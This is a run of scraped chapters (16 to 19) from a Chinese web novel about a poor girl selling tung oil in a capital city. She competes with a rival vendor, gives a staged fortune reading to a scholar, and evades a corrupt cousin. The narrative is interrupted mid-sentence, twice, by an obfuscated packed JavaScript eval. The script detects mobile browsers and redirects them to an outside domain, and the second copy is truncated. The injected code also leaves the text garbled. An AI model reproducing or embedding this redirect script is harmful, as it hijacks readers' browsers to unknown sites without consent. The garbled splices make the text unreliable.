姐弟两人从天蒙蒙亮排到日上三竿，房锦儿都快抱着油罐睡着了，进逸忽然推了推她：“阿姐，总算到咱们了。” 房锦儿便带着进逸一五一十地向卒役说明原委，又报了姓名住处，家中几口，买了多少斤油。 那卒役核实了油罐，道：“行，办路引需得要户书，你二人留下一个，另一个去取。” “这，官人大哥，”房锦儿愣了一下，笑着道，“你看我这幼弟年纪尚小，我去取罢，不放心他自个守着，他去取罢，他不识得路啊。能不能通融通融，我每日都要往返金光门，明日定把户书给您送来。” “不行。”卒役看了看进逸，“你们到底是不是盛都城里人？这半大孩子了会不认得路？” 进逸虽瘦，可在同龄孩子中个头不矮，加上不苟言笑的，看上去确实显得早熟，而且他也确实认得路。 房锦儿见这招行不通，又心生一计：“那我将这罐小些的油抵在此处如何？待我拿了户书，定会来取。” 她指了指进逸背篓。 时间不等人，先背一罐去卖了也好啊。 油这东西放得住，大不了明日再来拿，总比一来一回，白费一个时辰强。 那卒役不耐烦了，将身一拦：“谁要你的油，要是个个都把东西抵在这，我们差事还办不办了？你究竟有没有户书，若是没有，今个就进不了城。” “有有有，有有有，官人大哥别急。” 房锦儿只好把油放下让进逸看着，自个回去取户书。 好在被赶出门时房稳康为了永绝后患，是把他们姐弟三人的户书从房家分出来了的。 她从屋里的碎砖底下翻出灰扑扑的纸笺，拿着小跑回去，总算办出两张路引。 进了城，日头高悬，已近未末。 房锦儿平日巳时末刻便到明经书馆，午初便已支好了摊儿，今个即便走得飞快，还是晚了将近两个时辰。 “卖桐油啊，上好的桐油，清澈见底，没有油渣啊——” 房锦儿脚步一顿，只见她摊子前头半丈许，围着十七八个眼熟的书生，正排队打油。而那圈子中间，一人头戴青布，手中举斗，量油量得不亦乐乎。 坏了。 坏了坏了坏了。 房锦儿心疼得一抽，果然被人占了。 16. 第 16 章 “你休要瞎说，我何大做得正行得端，我可没占你位置。” 何大指指他身后那三尺地儿，从前是左右宽三尺，现在被他这么一挡，前后也只剩三尺了。 “你自个看好，我是不是一寸没占？” 房锦儿气笑了：“你倒是瞧瞧，我还进得去不？客人还进得去不？这跟占了有何区别。” “呵，”何大嗤笑一声，“那是你的事。” 他看见房锦儿就气得咬牙。 敢跟他抢生意就算了，街道司竟然还拿她没办法？ 更有甚者，昨日他便觉得这小女娘有些眼熟，今日细看之下竟才想起来，这不是问他路引的那个小叫花子么。 还曾莫名其妙跑去他摊前偷瞄了一下午。 他只当是打他那钱袋的主意。 原是早就盯上了这门生意！ 嗨呀呀，何大暗暗捶胸，要是那时便知，干脆报官把她抓了多好，何来今日这麻烦。 房锦儿哪晓得他面上看着沉着冷静，浑不在意似地继续卖着油，心里却有这么多戏。 只奇怪这货郎不是在商市里卖得好好的么，她都不去抢他的，他是哪根筋搭错了，非跑来与她争地盘。 她背着油罐左右试了试，见横竖都进不去那摊位，索性后退几步。 “好啊，既然如此，那我也不必纠缠什么摊位不摊位的了，我就学你，在这里摆。” 她说着，把油罐往地上一放，恰恰好拦在何大的摊前。 何大那位置，虽说左右并无遮挡，却是正对着明经书馆大门的，被这么一堵，对过的书生就只能看见房锦儿，即便专程要买他的油，也必先经过房锦儿的摊儿。 “诶我说你这个……小女娘，要点脸面不要？”何大气得拍了拍脸皮。 “我怎么不要脸面了？”房锦儿悠悠往外拿斗合，“我占你位置了么？是不是一寸没占？哦，怕人家看不见你了？莫怪，那是你的事。” 何大被噎了个彻底，半晌没接上话。 他抬头看了看前方，明经书馆门前这路并不算宽敞，从旧书铺子到大门前不过二丈许，他已经向前挪了半丈，房锦儿又推出去半丈，两人之间还隔着半丈。 想再往前，那就直接怼人家大门里去了。 见此法行不通，何大冷冷地从鼻孔里“哼”出一声：“下三滥的手段倒是会不少，有本事堂堂正正卖油，看谁卖得过谁。” 房锦儿挑眉：抢我词儿？ “就怕你卖输了又要不高兴。进逸，”她支好了摊儿，道，“准备家伙。” “好嘞。” 进逸应声从身后掏出两条麻布。 这麻布是提前用澡豆泡过拧干的，每次用时只要再沾一点点清水，擦出来的油瓶便是锃光瓦亮。 何大听她唤进逸那语气，本还瑟缩了一下，心说这女娘不会真敢当街打人罢？毕竟昨个街道司的人都没拗过她。 哪知拿出的是两条破布，他哈哈大笑起来。 房锦儿懒得理他，只管吆喝道：“房记桐油灯油——六十八文一斤，油好芳香，清澈见底，头三者惠价一文——凡卖半斤，赠擦瓶一次——” 她那招子还高高挂在旧物摊的竹竿上，本就显眼。 加之今个摆得离书馆格外地近，很快便有刚出校门的书生过来了。 “哟，娘子家今个头三还在？”书生有些惊讶。 房锦儿笑容满面：“在在在，今个来得晚了些，郎君正是头一个，立减一文！打一升？” “那可真是难得，打一升！”书生将瓶递过，搓了搓掌。 “好嘞——” 这不就开张了么？ 房锦儿心中得意一许，连忙笑着伸手去接，瓶将将触到指尖，忽听身后有人道：“慢着！” “我家桐油只要六十文一斤！”何大洋洋得意地拍了拍油坛。 递瓶的手闻言一顿，瓶身忽而顺着她指尖滑了下去。 房锦儿赶忙反手捉住那瓶口。 六十文？！她没听错罢，她转头看了何大一眼，这人是疯了么，为了跟她抢这地盘，利润都不要了？ 他从前不是售七十文一斤么，生生降价十文，这是想作甚？垄断？砸场？ “怎么样，郎君不若来买我家的？买一斤，送些添头。”何大继续加码。 还送添头…… 房锦儿觉察那油瓶在手中动了一动，她忙捏住了，道：“郎君乃识货之人，当知桐油也讲究个好坏，若是油里渣滓多，点起灯来呛鼻不说，还很是费油。你看我这油，澄澈得很，虽贵几文，但耐得住烧啊。” 那书生犹豫了一下，对着何大道：“是了，我好像听说，你家的油渣滓颇多。” “无中生有的事儿。”何大道。 他敲了敲那油坛：“郎君自个过来瞧瞧不就知道？” 那书生和房锦儿闻言同时伸长了脖子，一看，何大坛中的油竟果真是清澈金黄，并不见有什么油渣。 房锦儿“咦”了一声。 奇怪，昨个那些书生不是都说他家桐油渣多刺鼻么，难道是讹传？ 那既然品质不错，他为何突然削价如此之多？即便是要抢她明经书馆这块地方，减价一二文足以。 猛减十文，一日卖油二十来斤，便是少了二百来文。 一月下来，生生少赚一贯钱。 伤敌一千自损八百，这与自毁前途何异。 房锦儿不知何大的桐油进价几何，心说难不成这人油买得比她更便宜？所以才舍得这样抛售？ 正思索间，手里的油瓶动了动，房锦儿一个没抓住，便见它“嗖”地滑走了。 她忙道：“郎君再想想？我家可帮郎君擦瓶。” “对不住了，娘子。”那书生有些不好意思地笑笑，“实在是囊中羞涩，擦瓶不擦瓶的……” 也不如少付七八文钱来得实在。 他毫不犹豫地转向了何大家的油摊儿：“打一斤！”独留房锦儿与逸哥儿面面相觑。 房锦儿：“……” 也是，谁叫这桐油卖的本就是个便宜。有钱的不必点桐油，自去点那豆油芝麻油，没钱的精打细算，当然是能省一文省一文。 一斤油省七八文，一月下来，饭食钱都有了。 换谁谁不心动。 果然，接下来两刻钟，十几来个前来买油的书生皆是如此。 先被房锦儿那头三减一文和擦瓶的噱头吸引，随后一听何大家的油价，纷纷弃甲倒戈，头也不回，走得那叫一个干脆。 “对不住娘子，实在是差价太大。” “阮囊羞涩，实在惭愧，娘子莫怪啊。” “这月不巧，着实有些入不敷出了，下月，下月定再来光顾娘子生意。” “……” 其中不少还是昨日夸过她油好、替她骂过街道司的。 果然便宜才是王道。 房锦儿勉强笑着应付众人，心中凄凄，还要随时承受何大那副小人得志的嘴脸，时不时投来个鄙夷的轻笑。 卖了半个时辰，何大那两坛子油已经见底，房锦儿罐里却是分毫未动。 反正也售不出去，她索性放弃吆喝，坐下斜靠着背篓思忖了一阵，站起身来。 何大精神一振：“呵，这是甘拜下风，走了？” 房锦儿头也不抬：“走了。” “走了？”进逸吃惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949253|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “走了。”她开始往背篓里收东西。 不走还拖着作甚？与其在这里跟何大耗着，不如换个地方卖，大安坊附近的书院又不止这一家，他爱占便占去好了。 房锦儿心想着城外的三家书馆。 除了云溪书院，另外两家都不小，尤其是那家文德学馆，比明经书馆还大两倍，买桐油的学子肯定不少。 不过这话她暂且没同进逸说，怕何大听了去。 她一鼓作气收拾好油罐等物，顺便去与金芳苓说了几句，摘下了那旧物摊子上悬挂的蓝布招牌。 金芳苓道：“行，你先去看看别处生意如何，这个无赖指不定明日就不来了。即便他赖着不走，你也可再回来，大不了我把我这个旧摊子再给你匀出一块来。实在不行，咱们也去街道司告他侵街占道。” 金芳苓朝何大呸了一口：“哦，说到这个，昨个莫不就是他去街道司捣的鬼？” 房锦儿挑了挑眉毛以示同意：“不是他还能有谁。看他这个样子，应该是早有准备，大抵不会走了。” 她碰碰金芳苓：“先说好，你可不准找他买油啊，我只收你旧书都行。” “瞧你说的，我是那见利忘义的人么？”金芳苓打量她一眼，“你安心去，买油我自会找你，你看上的那几本书我都给你留着呢。” 两人笑着作别。 房锦儿收好招牌，揽了逸哥儿就走，哪知没走两步，忽见那明经书馆门前，一团绿影急急而来。 边跑口中边喊：“小娘子，等等，等一等。” 房锦儿一愣，随即站住脚步，认出了眼前之人：“是你？” 正是她先前寻找无果的绿衣书生。 “在下许纵，那日错失让小娘子算卦的机会，后几番去商市寻而不得，没想到小娘子竟在此处，当真是踏破铁鞋无觅处，得来全不费工夫。” 许纵将手一拱，十分高兴。 房锦儿也有些惊喜，但总不好说“我后来也想赚你银子，特意去寻过你”，只好道：“巧了。” 许纵自上次商市寻房锦儿不见后，又去找过两回才死心，见她身后背着陶油罐，篓里还放着张招牌，突然反应过来什么。 “娘子在这卖油？” 房锦儿以为他要买油，笑着道：“郎君来得不巧，本来是在这卖油，现下恐要另寻去处了。” 许纵闻言，心中悔不当初。 原来新来的卖油娘子就是她！早知如此，他就由着王远瞻在这儿买了，还去什么商市！ 可转念一想，不对啊，这小女娘不是算卦的高人么？ 怎跑来卖油了？ 许纵脸上的表情由痛心转为疑惑，又从疑惑变成了思索，最后突然透出一点点了然于心的意味。 他这人除了喜爱五行四柱之术，从小戏曲话本也没少看。那些个高人入世，扮成村夫野老、贩夫走卒，云游天下，专看这世间百态的传奇他不知读过多少。 他重新看了看房锦儿。 一身白衣，面带微笑——出尘。 模样瘦削干瘪，眼珠却奕奕有神——伪装。 身边还跟着个模样老成的小儿——童子！且他记得，应该是一双童子才对，还有一个定是暂派去别处办事了。 如此，一个看破命理，周游红尘的大仙形象在许纵心中徐徐浮现。 那她为何要偏生选在这明经书馆门前卖油呢？ 许纵脑中再次灵光一现，四个大字缓缓而出： 文曲星君。 房锦儿见他半天不说话，道：“郎君要油否？若是不要，我便先告辞了。” 许纵赶忙回神：“要！要要要，要五斤，不，十斤！” 17. 第 17 章 十斤？ 周围人闻言纷纷侧目。 买桐油的书生都不算富裕，寻常打油一两半斤，打一斤就算多的了，打十斤，这么阔绰？ 何大眼睛亮了，赶忙在一旁故技重施，高声吆喝：“这位郎君，看看我家的桐油，只售六十文一斤，合适得很。” 哪知许纵不理他，只满眼期待地等着房锦儿。 房锦儿有些奇怪，这人怎每次都出乎她预料，上回一见面就要她算卦，这次一见面就要十斤油。 且她更奇怪的是，这人穿着打扮朴素，衣鞋皆有补丁，又用便宜桐油，怎么看都不是个有钱人家的子弟，竟舍得一次买这许多？ 她打量着许纵，道：“郎君买这么多，用得完否？我看你也无油瓶装呐。” 一斤油就够用六七天的，且他没带油瓶，像是从别处回来，并非专程来买油。 许纵愣了一下，赶忙左右环顾一圈，道：“有！有有有，油瓶好说。” 他说罢从怀里掏出荷包，高举着便道：“谁有空油瓶出借？我出五文一个。” 何大摊前还有好些个正在排队买油的书生，听闻此话，又看了看自己手中的空瓶，有些犹豫。 许纵见无人应答，又道：“十文一个，今夜就还。” 这下子有人应了：“我借！” 队伍里一个瘦高的书生率先举起自己的空瓶。 旁边有同砚拉了拉他衣袖：“你借？那桐油你不买啦？” 那书生道：“十文呢，我刚好缺钱买方墨，桐油明日再买也一样。” “嘿，有道理，我也缺些买纸钱，”又有人道，“我的瓶你也拿去罢。” “我也借，我缺十文买吃的。” “还有我，我啥也不缺，就是想赚十文钱。” 队伍里一阵哈哈大笑，许纵一下子便借回五个油瓶，当即给了钱，笑得合不拢嘴：“多谢诸位帮忙，多谢诸位帮忙。” 亦有人道：“这人莫不是个傻子？买油挑贵的买就算了，还花钱借油瓶？五个油瓶五十文，岂不等于每斤油贵出十七八文？” “最简单的算学都没学明白，这书怕是白读了。” 又是一阵哈哈声。 价钱的事，房锦儿倒也不准备欺瞒，毕竟谁的钱也不是大风刮来的，更何况是贫寒士子。 她拦住还在继续借瓶的许纵，诚恳道：“郎君，我这桐油比寻常油铺便宜，但若比那位货郎家，还是要贵些，我卖六十八文一斤，你若买了，是我今日头一个顾客，我便宜你一文，收你六十七文。但那位货郎只卖一斤六十文，你若想买他家，我绝无怨言。” “不不，我就买大……娘子家的。”许纵也满脸真诚，真诚中还透着些许激动。 这可是高人，大仙，说不准是文曲星君下凡。 即便不是文曲星君本尊，也定与此有关，错不了。 高人大仙卖的灯油，点了说不定就能金榜题名。 不买她的买谁的？难道还买那个平平无奇的货郎何大家的？ “嘁！”何大颇为大声地表示不屑，嘟囔了一句，“草包一个，有便宜都不知道捡，这书我看你也是念到头了。” 许纵转头喷他：“你懂甚么，鼠目寸光之辈，焉能知其中道理？” 那排队买油的队伍当中，还源源不断有人想要出借油瓶，许纵继续又收了几个，一时间密匝的队伍就变得零零散散。 许纵收了十个油瓶，就等于何大少了十个客人。 何大眼瞧着十来桩到手的生意飞了，急得跺脚：“别啊，别走啊，这般便宜的桐油你们都不要啦？过了这个村可就没这个店呐。” 几个走出去的书生回头：“这话何意，你明日不是还来么？难不成要涨价？” 何大被四面盯着，好不容易抢来的地盘和生意，价钱当然不能涨，至少要维持到压垮房锦儿为止。 所以也不能说是，只能涨着脸道：“不涨不涨。” “那我们明日再来就是。”书生们摆摆手，走了。 见许纵如此坚持，房锦儿便重新放下背篓，把油给他打了。 许纵借来十个油瓶，本是真想买十斤，然其中四个瓶子只盛得下半斤左右，终是打了八斤二两。 许纵付了钱，左五瓶右五瓶地拎着，很是兴奋，把房锦儿叫到一边，放下油。 “大……” “仙”字险些脱口而出，他赶忙清了清嗓子，笑着改口：“娘子，上回无缘，难得再遇，娘子能否帮我卜一卦，就卜学业，还卜学业。” 许纵这人生得一双黑白分明的凤眼。 房锦儿想起他上回想请她卜卦，说起“学业”二字时，眼中也是这般熠熠生辉，仿佛只要她肯答应，他就能一举夺魁。 不过上回没给他算，是怕露怯。 这回嘛…… 房锦儿摸了摸还没焐热的铜钱，心情不错。 行罢，人家刚买了八斤油，是大主顾，没理由连个卦都不给人算。 进逸看见房锦儿脸上的表情，便知她要松口了，心中一紧，暗道不妙。这要是算错了怎办？人家会不会当场退了那八斤油？ 他正想上前阻止，房锦儿却已经开口了：“好。” 进逸嘴角一抖。 许纵大喜过望，忙取荷包道：“娘子此番卦资我定当好生奉上。” 房锦儿伸手拦住他：“诶，卦资不卦资的，这样，你刚不计价钱买了我的桐油，算是雪中送炭，我现在不收分文，赠你一卦，如何？” “这，那自然，好啊！” 许纵先是惊讶，随即两手一拍大腿，几要蹦起来，觉得这八斤油真是买得对极了，再让他买八十斤他也毫不犹豫。 “不过这命理讲究个有来有往，我今日虽不收钱，但若是算准了，你届时也得答应我一件事。” “何事？娘子但说无妨。” “你得像今日一样，再买我八斤桐油。不止如此，你还得再忽悠……说服十个书生，各在我这里买八斤。” 房锦儿伸手比了个大大的“八”字。 许纵没犹豫半分，只觉得她如此沉迷于卖油，定有她的道理，说不定与她此番游历红尘的缘由有关。 他道：“好，我答应。不过我还未说我究竟要卜哪一项，娘子怎就知道是‘届时’？” 房锦儿笑了，站直身子，负手围着他转了一圈，将他仔细打量一番。 又凑过鼻子，在他周遭仔细闻了一闻。 末了佯装掐指：“若我没算错，你要卜的，是上回月考的结果。” 许纵瞠目结舌：“正是如此，娘子奇了 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荣永新便道：“小的那日有幸跟着房爷办事，房爷不记得而已。” 言下之意，那日房进利踢飞花盆时他也在场。 “哈哈哈哈哈，”房进利大笑，道，“好，你今后便跟着我，扫街不用去了，我会找个人与你换班。” “多谢房爷。”荣永新赶忙行礼，“那……我现在就去查那房锦儿的税凭？” 房进利挥手：“去。” …… 盛都城内，阡陌纵横，沿街的摊铺店业，凡经营者，必得纳税。 而这商铺不计其数，税钱凌乱繁杂，收税并非易事，也确实只有各坊的街道司能胜任得了。 故此，大小商户的税银，都是由街道司代为收缴，再转交户部。 荣永新很快便翻完了当月坐税钱缴纳的名册。 “确定没交？” 房进利像只压不住嘴角的黄鼠狼，想到昨日那丢人现眼的场面，他只觉脑门上的伤口突突跳。 敢惹他房进利的人还没出生呢，当街给他难看？ 现在让他逮着了，可不仅仅是钱的事儿。 他不把房锦儿和那俩小兔崽子抓进大狱，他难解心头之恨！ 荣永新：“确定。” “好！”房进利拍案而起，立时叫了七八个身材壮硕的捕快，不仅佩刀，更是人手拿了那碗口粗的笞杖。 一行人气势汹汹，沿街踢摊踹店，直奔明经书馆对过。 “房锦儿，给你二堂哥滚出来！” 房进利还未走到昨日那旧书铺前，便咬牙切齿道。 他打眼一扫未见着要找的人，正要发怒，忽见那地方又多出了个新摊儿，仔细一看，竟也是卖桐油的。 那摊主人似是被他吓了一跳，手里的铜角没拿稳，“铛”的一声掉在地上。 “官人，她，她她她已经走了。”何大赶忙捡起铜角，颤声端笑。 远处安化门外，正带着逸哥儿，背着剩下几斤油，慢慢悠悠往文德学馆山坡上走的房锦儿忽觉鼻子奇痒。 挠了挠，“阿嚏”一声，打了个响亮的喷嚏。 18. 第 18 章 “我去他娘的，”房进利怒骂一声，“什么时候走的？” “回官人，走了有……有小两刻钟了。”何大赶忙笑着答应。 “走哪去了？” “这，这小的不知。” “不知？”房进利打量他一眼，把那笞杖在手心敲了敲，“你不也是卖桐油的么，你们是同业，摊子都摆在一起，会不认识？” “哎哟哟，官人这可就冤枉小的了，小的今天是头一回来这里摆，与那个女娘也是第一回见，不认识，真不认识。” 何大笑着，抬袖擦了擦额角渗出的薄汗。 他的桐油都卖光了，本是要收摊的时候，还想着收了摊，去问问那旧书铺的店主，能否让他也把招牌挂到竹竿儿上去，怎料突然来了这尊大佛。 他看着那碗口粗的杖有些害怕，心中暗暗叫屈。 怎么房锦儿在的时候不来，偏生现在来了？还带这么多人，昨个也不见带这许多啊。 房进利脸色阴沉得紧，显然对何大这番回答不太满意。 “第一回来？” “是是……” “那你一来，她就跑了，嘶，难不成是你这人太晦气，挡了本爷的好事？” “小的不敢，小的不敢，”何大吓了一激灵，连连摆手，“就，就是巧了而已。若是小的知道官人要来找，定使出浑身解数把她留住，不让她走。” “巧了？”房进利挑眉笑笑。 何大还以为自个说在了对方心坎上，也赶忙赔笑：“巧了，巧了。” 哪知房进利满肚子火气已经忍到了极限，突然拔声道：“那本爷怎就巧不了？来啊，这人包庇违律摊贩，给我打。” “哎哟，官人饶命！”何大登时吓得魂都散了。 七八个持杖的捕快围拢过来，惊得何大一屁股坐在地上，连呼冤枉。 他边呼边拿眼睛四处求救，哪知他此刻运气实在背极，先前买油买货的书生早散得一个不剩，左右空空落落，连书馆门前都寂寥无人。 那旧书铺的店主也像消失了一样，连个动静都无。 气得他抱头暗骂这群酸驴，捡了便宜桐油，却一个个见死不救，怎地昨日房锦儿遭难，就有那么一大帮人替她出头？ “慢着。” 就在那笞杖快要落下之时，忽然有人拦住。 “房爷三思，抄摊儿容易，不过是不是太便宜他了？不如留着他，教他当个生蛋的鸡。”荣永新看着何大，凑到房进利身边耳语。 “什么意思？”房进利不解地皱了皱眉。 荣永新低声：“房爷忘了？税务归咱们街道司管。” “你的意思是，让他……” “让他交，”荣永新提点道，“只要他想支摊儿，就得房爷您点头。至于您堂妹么，咱们再去找便是，她要吃喝，总不会不露面做生意，没准儿明日就来了。” “你小子，有点儿东西。”房进利竖起食指，脸上的阴霾一扫而光，露出个满意的笑容。 “你，可知在此设摊要交坐税钱？”房进利过去踢了何大一脚。 何大一骨碌跪起来：“知道，知道。” “那税凭可有？” 何大有些疑惑：“官，官人不打小的了？” 房进利“嘶”一声：“你还想挨打？” “不不。”何大头摇得像拨浪鼓。房进利不耐烦道：“那你废什么话，税凭拿出来。” 何大只好乖乖把税凭从袖里摸了出来，递给房进利。 不过按理说，只有在商市摆摊才需税凭，他还是头一回见在街上设摊也要查验的，心中难免觉得奇怪。 但转念一想，这一行人气势汹汹，应该本就是来查房锦儿那女娘的，只不过倒霉让他给遇上了。 兴许只要给了税凭，就能放他走呢。 房进利接过税凭看都不看，直接递给荣永新。荣永新看了看：“你叫何大郎？” 何大点头称是。 荣永新便朝房进利道：“房爷，是他的没错。” 何大闻言谄笑：“官人你看，我虽头一回来，可原本就在坊里商市卖桐油，是懂得的，税凭都有，不敢违律。倒是官人要找的那个女娘，偷奸耍滑，定没有税凭，官人定要把她抓起来，以示惩戒。” “是么？”房进利低头看了看自己的手，突然笑道，“你税凭在哪？” 何大诧异抬手去指：“这不在那位爷手上……” 只见荣永新把纸笺淡淡然塞进袖里：“什么税凭？我没收到啊。” 他说罢正色转向房进利：“房爷，您可别被他诓了，依本朝大律，凡偷、逃商税者，杖三十，没收全部货物，罚税金五倍之数。我看这厮是偷逃坐税的惯犯了，还想蒙骗过关。” - “阿姐，给。”进逸从怀里掏出一条帕子给房锦儿。 房锦儿揉着鼻子：“哪儿来的？” “湘娘娘缝的，缝了三条，给咱们一人一条。她昨夜缝的时候被我瞧见了，她瞧我喜爱，就让我先带着，等回去再让她把图样绣完。你和锦云的今日就应当绣好了。” 薛湘当真一双巧手，房锦儿把那帕子左右翻着看了看，是拿她带回去那篓碎布头拼的，针脚细腻得几乎看不出。 “昨夜？她没睡？” “没睡，说是想她家阳哥儿了，我就陪了她一会。她说那篓碎布头除去三条帕子，还够做枕头跟荷包呢。” 薛湘和吴顺是有个小子的，说是和进逸同岁不同月，只不过正年后跟着阿爷阿奶去了乡下，到现在还未回盛都，他们也就没见过。 房锦儿高兴道：“那赚了啊，等枕头被褥都做好了，咱们再搞钱买些木板，打两张床。” 草席太薄，睡觉硌得背疼。 进逸想起刚才算卦的事：“阿姐，你方才是怎么看出许郎君要算月考学绩的？” “这还不简单？他未背书箱，未拿油瓶，说明既不是刚下学，也不是专程来买油。他来时走的是坊东那条道，走路时面带愁容，我闻了闻，发现他周身一股檀香味。你想想，这可说明什么？” 进逸努力思索：“坊东的道是出坊才走的，檀香……是寺院？” “不错啊，”房锦儿表示赞许，“离咱们坊最近的寺院应当是楚国寺，那你连起来想想，一个刚刚结束月考的书生，为何要去楚国寺，他想求什么？” “求月考学绩得甲！”进逸眼睛一亮，“那你怎就知道他一定能得甲？” 他回想着房锦儿方才给许纵卜算的模样，一个“甲”字说得胸有成竹，要是不准怎么办？ 房锦儿满脸无所谓地耸耸肩：“猜的。” “啊？”进逸像只漏了水的小舟，“什么根据都无么？” “那倒也不是。”房锦儿道。 她还想赚许纵答应的那笔灯油钱呢，要真是一点不靠谱，她也不敢那般狮子大开口。 “我是看他衣着简朴，买灯油却舍得，说明经常彻夜用功，而卜卦不问别的，只问学业，甚至肯为此付以重金，说明对学绩极其在意。如此，一个平素用功、为月考付出极大努力之人，月考应当也不会太差喽。” “哦——”进逸满意了然，“那为何不收他卦资，反倒要他答应买油？” 这就是房锦儿的私心了：“你看他付过油钱，荷包都扁成什么样了，卦资能有几何？还不如买油来得多。况且咱们刚换地方，兴许他能带来些老客。” 姐弟二人边说边走，转眼就上到了文德学馆附近的山坡上。 时辰不早，下山采买的书生早都已经去了，此时坡上并无行人，微风簌簌，将一片青林吹得沙沙作响。 房锦儿带着进逸，围着学馆转了三圈，才碰到零星几个温书的学子，上前问了，皆是摇头，说不要灯油。 房锦儿只好把主意打到那守门的门子头上。 “这位小郎君，值守一天，当是累了罢，”她悄摸递过几枚铜钱，“不如去膻堂休息休息，吃几碟小菜？” “去去去，”那人轰她，“何处来的女娘，竟敢此举辱我？快走，免得我以律相待！” “郎君莫恼，”房锦儿怕他呼喊引来旁人，赶忙一把拉过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我要你那几个臭钱？你莫要啰嗦了，快些找，你去那头，我往这边，一会坡顶见。” 房锦儿心里一讪，臭钱？ 作为一个生意人，她向来将对钱尊重当做最起码的修养，所谓聚沙成塔，集腋成裘，小钱虽轻，却是经商立业之本，所以哪怕一个铜子，她也从来都看得重比泰山。 能无故说出“臭钱”这种话的，定也是“臭人”。 难怪连饭都不让人吃。 她顿住脚步，倒要看看这人什么模样。 说来也巧，说话声一消失，道旁青林安静一瞬，紧接着就突然钻出个身着黑衣的少年，差点和驻足的房锦儿撞了个正着。 两人都怔了一息，那少年皱了皱眉。 房锦儿退后一步，借着余晖，看清了对方的样貌。 只见这少年箭袖黑袍，玉簪革靴，腰带上镶着宝石，香囊玉环垂在腰侧，手中还握了把折扇。 “借过。”顾济一赶着去找扇坠，语气不大客气。 房锦儿将头一低，取下背篓抱在怀中，粗糙的大麻花辫在肩头晃了一晃：“郎君可要灯油？还剩个底儿，给郎君算便宜些。” 灯油？ “不要。” 顾济一不明所以，开口想要拒绝，他还是头一回在这坡上见着卖东西的小贩，也是头一回有小贩敢同他说话。 房锦儿坚持：“还剩最后一斤了，便宜卖给郎君，卖完我便可带着幼弟回家，买些吃食。” 顾济一这才看清了面前之人，是个年纪同他相仿的小女娘，还带着个七八岁的幼弟，两人都瘦得像野草一般。 小女娘手中抱着个比她还宽的陶罐，仿佛一阵风刮过便能使她栽倒。 顾济一低眼看了看那陶罐里，如她所说，确实还剩一些油。 罢了，他摸出荷包：“几何？” 房锦儿看着他的眼睛，面不改色：“最后一斤，就算郎君一百六十八文罢。” 19. 第 19 章 顾济一没有带散钱出门的习惯，翻了半天也没找出一个铜板，也没有小到价值相当的碎银，只好道：“你帮我送到坡顶上去，我家仆自会把钱给你。” “好，”房锦儿笑嘻嘻，“我给郎君送上去。” 送完油拿了钱，房锦儿带着进逸，溜得比兔子还快。 进逸边跑边问道：“阿姐，咱以后不来文德学馆卖油了？” “来啊，为何不来。” “要是再遇上那个郎君怎办，咱卖给他的油贵这么多，他会不会找咱们算账？” “嗐，他啊。”房锦儿一点不担心，“你看他那身黑不溜秋的打扮，还有腰上坠的墨环和绿石，都贵得很，压根就不像学馆里的读书人，八成只是上山来寻什么人的。” 只要现在不被他逮着，以后就没事。 “放心罢，不会再遇着了。多赚的一百文钱，咱们去买糕点吃。” 这朝的糕点是贵价东西，在茶楼里售卖，寻常百姓最多舍得买些炸馓子、糖煎果，像花果子、松子糕、蜜金梅这样的，金贵得很。 大安坊里有名的茶楼就在商市，名叫李贵茶楼，里头糕点琳琅满目。 就是价钱也看得人眼花。 进逸只瞧了一眼就吓住了，眼神里透露着都想吃，嘴上却半天说不出个“要”字，房锦儿看他磨磨唧唧，只好道：“你要是选不出，那就只能我选了啊。” 于是她搓了搓手，指了指一早相中的团花模样，裹满了金亮糖汁的酥蜜团：“有劳，要半斤这个。” 店伙计有些意外：“半斤？” 房锦儿不觉有什么问题，很多吗？这玩意一个不到拇指长，一口一个，还要给吴家两口子也分些，不买半斤怎么够。 她点头：“半斤，捡着蜜汁多的来。” 店伙计奇怪地看了她几眼，还是给她称好了，拿油纸和细绳包成一包：“九十五文。” 房锦儿想着有阵子没吃甜的了，虽有点儿心疼，但只让减了五文就爽快付了钱。店伙计几番欲言又止，收了铜板，最终什么也没说。 回到破落院儿里，薛湘正在屋门前做暮食，小锦云坐在门槛上帮着添柴烧火，见阿哥阿姐进院门，蹬着小短腿，扬着熏黑的小脸就跑来了。 她今日没能跟去卖油，寂寞得不行。 “湘娘娘——阿姐买了糕点，快来快来。” 锦云守着房锦儿带来的小纸包，高兴得蹦蹦跳跳。 薛湘端着陶锅和碗筷过来了，见到那纸包里的东西，同样有些激动：“今日不是不顺利么，怎还买了这个？很贵罢？” 房锦儿已经不客气地坐到了吴家的饭桌上，把酥蜜团往薛湘的方向推了推：“贵，不过算是有人请，快尝尝。” 她说着自己先拿起一个，薛湘把手在腰间的围布上蹭干净，也拿起一个，两只小的见长辈和阿姐都拿了，这才跟着动手。 小锦云口水都快流出来了，拿着凑在鼻子底下闻了又闻。 四人满心期待，齐齐张口，哪知一口下去，三人没了声音。 房锦儿吃完一个，舔舔嘴，又拿起一个，正要咬，突然发现不对劲：“吃啊，怎么不动了？” 薛湘掩着嘴咀嚼，半天说不出话，锦云张着嘴拿手指头猛抠上牙膛，还是逸哥儿咽了半天，直着嗓子含糊道：“阿姐……蜜太多了，齁得慌。” “是吗？”房锦儿又尝了一口，“我怎觉得正好啊。” 甜食不都如此？哪里齁了。 总之勉强吃完一个，三人死活都不肯再碰那酥蜜团了，一个劲地喝水，喝了个水饱，最后连暮食都没吃下去多少。 只有房锦儿觉得好吃，用过了饭，又开开心心吃下两三个。 “锦云还要不要？” 锦云头摇得像拨浪鼓。 